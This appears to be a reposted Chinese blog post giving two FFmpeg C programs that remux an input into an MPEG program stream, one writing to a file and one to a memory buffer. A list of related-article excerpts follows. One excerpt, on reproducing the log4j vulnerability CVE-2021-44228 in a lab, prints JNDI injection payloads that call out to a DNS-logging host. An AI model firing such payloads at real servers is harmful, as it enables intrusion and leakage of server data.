ffmpeg 转换es流成为ps流

目的是将es流转换成为ps流

写入到文件中

#include <libavformat/avformat.h>
#include <libavcodec/avcodec.h>
#include <libavutil/avutil.h>
#include <libavutil/timestamp.h>

int main(int argc, char** argv) {
    const char* input_filename = "input.mp4"; // 输入文件名
    const char* output_filename = "output.ps"; // 输出PS文件名

    // 初始化FFmpeg
    av_register_all();
    avformat_network_init();

    // 打开输入文件
    AVFormatContext* ifmt_ctx = NULL;
    if (avformat_open_input(&ifmt_ctx, input_filename, 0, 0) < 0) {
        fprintf(stderr, "Could not open input file '%s'\n", input_filename);
        return -1;
    }

    // 获取输入流信息
    if (avformat_find_stream_info(ifmt_ctx, 0) < 0) {
        fprintf(stderr, "Failed to retrieve input stream information\n");
        return -1;
    }

    // 打开输出文件
    AVFormatContext* ofmt_ctx = NULL;
    avformat_alloc_output_context2(&ofmt_ctx, NULL, "mpeg", output_filename);
    if (!ofmt_ctx) {
        printf("Could not create output context\n");
        return -1;
    }

    // 复制流并设置输出参数
    for (unsigned int i = 0; i < ifmt_ctx->nb_streams; i++) {
        AVStream* in_stream = ifmt_ctx->streams[i];
        AVStream* out_stream = avformat_new_stream(ofmt_ctx, in_stream->codecpar->codec);
        if (!out_stream) {
            fprintf(stderr, "Failed allocating output stream\n");
            return -1;
        }
        avcodec_parameters_copy(out_stream->codecpar, in_stream->codecpar);
        out_stream->time_base = in_stream->time_base;
    }

    // 打开输出文件的输出流
    if (!(ofmt_ctx->oformat->flags & AVFMT_NOFILE)) {
        if (avio_open(&ofmt_ctx->pb, output_filename, AVIO_FLAG_WRITE) < 0) {
            fprintf(stderr, "Could not open output file '%s'\n", output_filename);
            return -1;
        }
    }

    // 写入文件头
    if (avformat_write_header(ofmt_ctx, NULL) < 0) {
        fprintf(stderr, "Error occurred when opening output file\n");
        return -1;
    }

    // 重采样和转封装的逻辑通常在这里,但因为我们只是简单地转封装,可以使用av_interleaved_write_frame直接写入
    AVPacket pkt;
    while (1) {
        AVStream* in_stream, *out_stream;
        if (av_read_frame(ifmt_ctx, &pkt) >= 0) {
            in_stream  = ifmt_ctx->streams[pkt.stream_index];
            out_stream = ofmt_ctx->streams[pkt.stream_index];

            // 设置pts/dts
            pkt.pts = av_rescale_q_rnd(pkt.pts, in_stream->time_base, out_stream->time_base, (AVRounding)(AV_ROUND_NEAR_INF|AV_ROUND_PASS_MINMAX));
            pkt.dts = av_rescale_q_rnd(pkt.dts, in_stream->time_base, out_stream->time_base, (AVRounding)(AV_ROUND_NEAR_INF|AV_ROUND_PASS_MINMAX));
            pkt.duration = av_rescale_q(pkt.duration, in_stream->time_base, out_stream->time_base);
            pkt.pos = -1;

            // 写入包
            if (av_interleaved_write_frame(ofmt_ctx, &pkt) < 0) {
                fprintf(stderr, "Error muxing packet\n");
                break;
            }
            av_packet_unref(&pkt);
        } else {
            break;
        }
    }

    // 写入尾部并关闭文件
    av_write_trailer(ofmt_ctx);
    if (ofmt_ctx && !(ofmt_ctx->oformat->flags & AVFMT_NOFILE))
        avio_closep(&ofmt_ctx->pb);

    // 释放资源
    avformat_close_input(&ifmt_ctx);
    avformat_free_context(ofmt_ctx);

    return 0;
}

写入到缓存

#include <stdio.h>
#include <stdlib.h>
#include <libavformat/avformat.h>

int main(int argc, char *argv[]) {
    AVFormatContext *inFormatContext = NULL;
    AVFormatContext *outFormatContext = NULL;
    AVOutputFormat *outputFormat = NULL;
    AVPacket packet;
    int ret;
    uint8_t *psBuffer = NULL;
    int psBufferSize = 0;

    // 注册所有的FFmpeg组件
    av_register_all();

    // 打开输入文件
    ret = avformat_open_input(&inFormatContext, argv[1], NULL, NULL);
    if (ret < 0) {
        fprintf(stderr, "无法打开输入文件\n");
        return -1;
    }

    // 查找流信息
    ret = avformat_find_stream_info(inFormatContext, NULL);
    if (ret < 0) {
        fprintf(stderr, "无法获取流信息\n");
        return -1;
    }

    // 打开输出文件
    outFormatContext = avformat_alloc_context();
    if (!outFormatContext) {
        fprintf(stderr, "无法创建输出文件上下文\n");
        return -1;
    }

    outputFormat = av_guess_format(NULL, "output.ps", NULL);
    if (!outputFormat) {
        fprintf(stderr, "无法猜测输出格式\n");
        return -1;
    }

    outFormatContext->oformat = outputFormat;

    // 逐个处理输入文件的流
    for (int i = 0; i < inFormatContext->nb_streams; i++) {
        AVStream *inStream = inFormatContext->streams[i];
        AVStream *outStream = avformat_new_stream(outFormatContext, NULL);
        if (!outStream) {
            fprintf(stderr, "无法创建输出流\n");
            return -1;
        }

        ret = avcodec_parameters_copy(outStream->codecpar, inStream->codecpar);
        if (ret < 0) {
            fprintf(stderr, "无法复制编解码参数\n");
            return -1;
        }
    }

    // 分配内存缓冲区
    avio_open_dyn_buf(&outFormatContext->pb);
    
    // 写入输出文件的头部信息
    ret = avformat_write_header(outFormatContext, NULL);
    if (ret < 0) {
        fprintf(stderr, "无法写入输出文件的头部信息\n");
        return -1;
    }

    // 读取数据包并写入内存缓冲区
    while (av_read_frame(inFormatContext, &packet) >= 0) {
        // 将数据包写入内存缓冲区
        ret = av_write_frame(outFormatContext, &packet);
        if (ret < 0) {
            fprintf(stderr, "无法写入数据包\n");
            break;
        }
        av_packet_unref(&packet);
    }

    // 写入输出文件的尾部信息
    av_write_trailer(outFormatContext);

    // 获取内存缓冲区的大小和数据指针
    psBufferSize = avio_close_dyn_buf(outFormatContext->pb, &psBuffer);

    // 对PS数据进行处理,例如可以将其写入文件或进行其他操作
    // 注意:psBuffer 现在包含了整个PS流的数据,其大小为psBufferSize

    // 释放资源
    avformat_close_input(&inFormatContext);
    avformat_free_context(outFormatContext);
    av_free(psBuffer);

    return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/589575.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

酒水门店私域流量运营搭建执行规划方案

【干货资料持续更新&#xff0c;以防走丢】 酒水门店私域流量运营搭建执行规划方案 部分资料预览 资料部分是网络整理&#xff0c;仅供学习参考。 PPT可编辑&#xff08;完整资料包含以下内容&#xff09; 目录 精酿啤酒品牌私域执行运营的内容策划&#xff0c;涉及以下几个…

在做题中学习(48):朴素的二分查找

. - 力扣&#xff08;LeetCode&#xff09; 解法一&#xff1a; 暴力求解 for循环中&#xff0c;从nums[0]枚举到nums[n-1]&#xff0c;依次判断&#xff0c;返回 target的值。 时间复杂度 : O(N) :因为要遍历一遍数组 解法二&#xff1a;二分查找 因为此数组为有序的…

利用Github发现优质的学习项目网址

1. 直接搜索&#xff0c;star的数量越多的项目质量越高 2.Github Trending 地址: https://github.com/trending 3. Gitstar Ranking 地址: https://gistar-ranking.com/ 4. Awesome Topic 地址: https://github.com/topics/awesome

FIFO Generate IP核使用——Data Counts页详解

在Vivado IDE中&#xff0c;当看到一个用于设置数据计数选项的选项卡时&#xff0c;需要注意的是&#xff0c;尽管某些选项值可能因为当前的配置而显示为灰色&#xff08;即不可选或已禁用&#xff09;&#xff0c;但IDE中显示的有效范围值实际上是你可以选择的真实值。即使某些…

静态库、动态库回顾

回顾一下库相关的知识点&#xff0c;总结备忘一下。在某种情况下&#xff0c;你有了如下的代码&#xff0c;结构如下 //pra.h #include <stdio.h> void test_01(); //pra.c #include "pra.h" void test_01() {printf("xxxxxxx----->%s %s()\n",…

莫比乌斯变换的数学原理

一、说明 关于莫比乌斯变换&#xff0c;是一个代数几何变换的重要概念。也是双曲几何的重要理论&#xff0c;比如庞加莱盘就是建立在这个理论上&#xff0c;那么这个变换到底有哪些内容&#xff1f;本文将做出详细的解读。 二、线性变换和逆变换 在本节中&#xff0c;我们研…

# notepad++ 编辑器英文版,如何打开自动换行

notepad 编辑器英文版&#xff0c;如何打开自动换行 在Notepad中&#xff0c;如果你想要开启自动换行功能&#xff0c;可以按照以下步骤操作&#xff1a; 1、打开 Notepad 编辑器。 1.1. 依次点击菜单栏中的【视图】&#xff0c;英文版对应【View】。1.2. 在【视图】下拉菜单…

css---浮动知识点精炼汇总

前言 欢迎来到我的博客 个人主页:北岭敲键盘的荒漠猫-CSDN博客 浮动简单理解与介绍 这是我们普通的页面标签效果。 每个标签从上到下依次排列。 浮动顾名思义就是让这个标签飞翔起来。 他飞起来后&#xff0c;后面的标签来到他的位置上。 而浮动的标签就会显示在标签的上面。…

【译】Celery文档1:First Steps with Celery——安装和配置Celery

https://docs.celeryq.dev/en/stable/getting-started/first-steps-with-celery.html#first-steps Celery的第一步 Celery时一个自带电池的任务队列。 本教程内容&#xff1a; 安装消息传输代理(broker)安装Celery并创建第一个任务(task)启动Celery工作进程(worker)并执行任务…

2021-10-21 51单片机两位数码管显示0-99循环

缘由单片机两位数码管显示0-99循环-编程语言-CSDN问答 #include "REG52.h" #include<intrins.h> sbit K1 P3^0; sbit K2 P3^1; sbit K3 P3^2; sbit K4 P3^3; sbit bpP3^4; bit k1,wk10,wk20; unsigned char code SmZiFu[]{63,6,91,79,102,109,125,7,127,1…

Java高阶私房菜:JVM分代收集算法介绍和各垃圾收集器原理分解

目录 什么是分代收集算法 GC的分类和专业术语 什么是垃圾收集器 垃圾收集器的分类及组合 ​编辑 应关注的核心指标 Serial和ParNew收集器原理 Serial收集器 ParNew收集器 Parallel和CMS收集器原理 Parallel 收集器 CMS收集器 新一代垃圾收集器G1和ZGC G1垃圾收集器…

设计模式之MVC模式

在编程江湖闯荡多年&#xff0c;我手中打磨过的设计模式多如繁星&#xff0c;但论及经典与实用&#xff0c; MVC&#xff08;Model-View-Controller&#xff09;模式 绝对是个中翘楚&#xff01;它不仅是Web应用的骨架&#xff0c;更是软件架构的智慧结晶。今天&#xff0c;咱们…

DRF解析器源码分析

DRF解析器源码分析 1 解析器 解析请求者发来的数据&#xff08;JSON&#xff09; 使用 request.data 获取请求体中的数据。 这个 reqeust.data 的数据怎么来的呢&#xff1f;其实在drf内部是由解析器&#xff0c;根据请求者传入的数据格式 请求头来进行处理。 drf默认的解…

leetcode刷题记录—回溯

目录 22. 括号生成 39. 组合总和 46. 全排列 77. 组合 79. 单次搜索 回溯全集 22. 括号生成 数字 n 代表生成括号的对数&#xff0c;请你设计一个函数&#xff0c;用于能够生成所有可能的并且 有效的 括号组合。 示例 1&#xff1a; 输入&#xff1a;n 3 输出&#xff1a;[&qu…

三维坐标点按剖面分类

一、写在前面 ①配套文件&#xff1a;根据剖面对三维坐标点&#xff08;X,Y,Z&#xff09;分类资源-CSDN文库 ②脱敏处理&#xff1a;蚀变数据已采用随机数生成覆盖 ③剖面坐标按顺序排列在“剖面坐标点.xlsx”文件中 二、3点确定空间中平面方程 原理&#xff1a; 设3点A&…

达梦(DM) SQL聚集函数及日期运算操作

达梦DM SQL聚集函数及日期运算操作 聚集函数MAX、MIN、SUM、AVG、COUNT使用分析函数 sum (…) over (order by…) 可以生成累计和更改累计和的值计算出现次数最多的值 日期运算加减日、月、年加减时、分、秒日期间隔之时、分、秒日期间隔之日、月、年求两个日期间的工作天数确定…

uniapp 异步加载级联选择器(Cascader,data-picke)

目录 Props 事件方法 inputChange事件回调参数说明&#xff1a; completeChange事件回调参数说明&#xff1a; temList 属性Object参数说明 defaultItemList 属性Object参数说明 在template中使用 由于uniapp uni-ui的data-picke 不支持异步作者自己写了一个 插件市场下…

VBA技术资料MF147:从Excel运行PowerPoint演示文稿

我给VBA的定义&#xff1a;VBA是个人小型自动化处理的有效工具。利用好了&#xff0c;可以大大提高自己的工作效率&#xff0c;而且可以提高数据的准确度。“VBA语言専攻”提供的教程一共九套&#xff0c;分为初级、中级、高级三大部分&#xff0c;教程是对VBA的系统讲解&#…

VULHUB复现log4j反序列化漏洞-CVE-2021-44228

本地下载vulhub复现就完了&#xff0c;环境搭建不讲&#xff0c;网上其他文章很好。 访问该环境&#xff1a; POC 构造&#xff08;任选其一&#xff09;&#xff1a; ${jndi:ldap://${sys:java.version}.xxx.dnslog.cn} ${jndi:rmi://${sys:java.version}.xxx.dnslog.cn}我是…

DHCPv4_CLIENT_SUMMARY_03:接收至少包含312个八位字节长度的‘options‘字段的DHCP消息

测试目的&#xff1a; 验证DHCP客户端是否能够接收至少312个八位字节长度的’options’字段的DHCP消息。 描述&#xff1a; 本测试用例旨在确保DHCP客户端准备接收包含至少312个八位字节&#xff08;即312 octets&#xff09;长度的’options’字段的DHCP消息。这意味着DHCP…
最新文章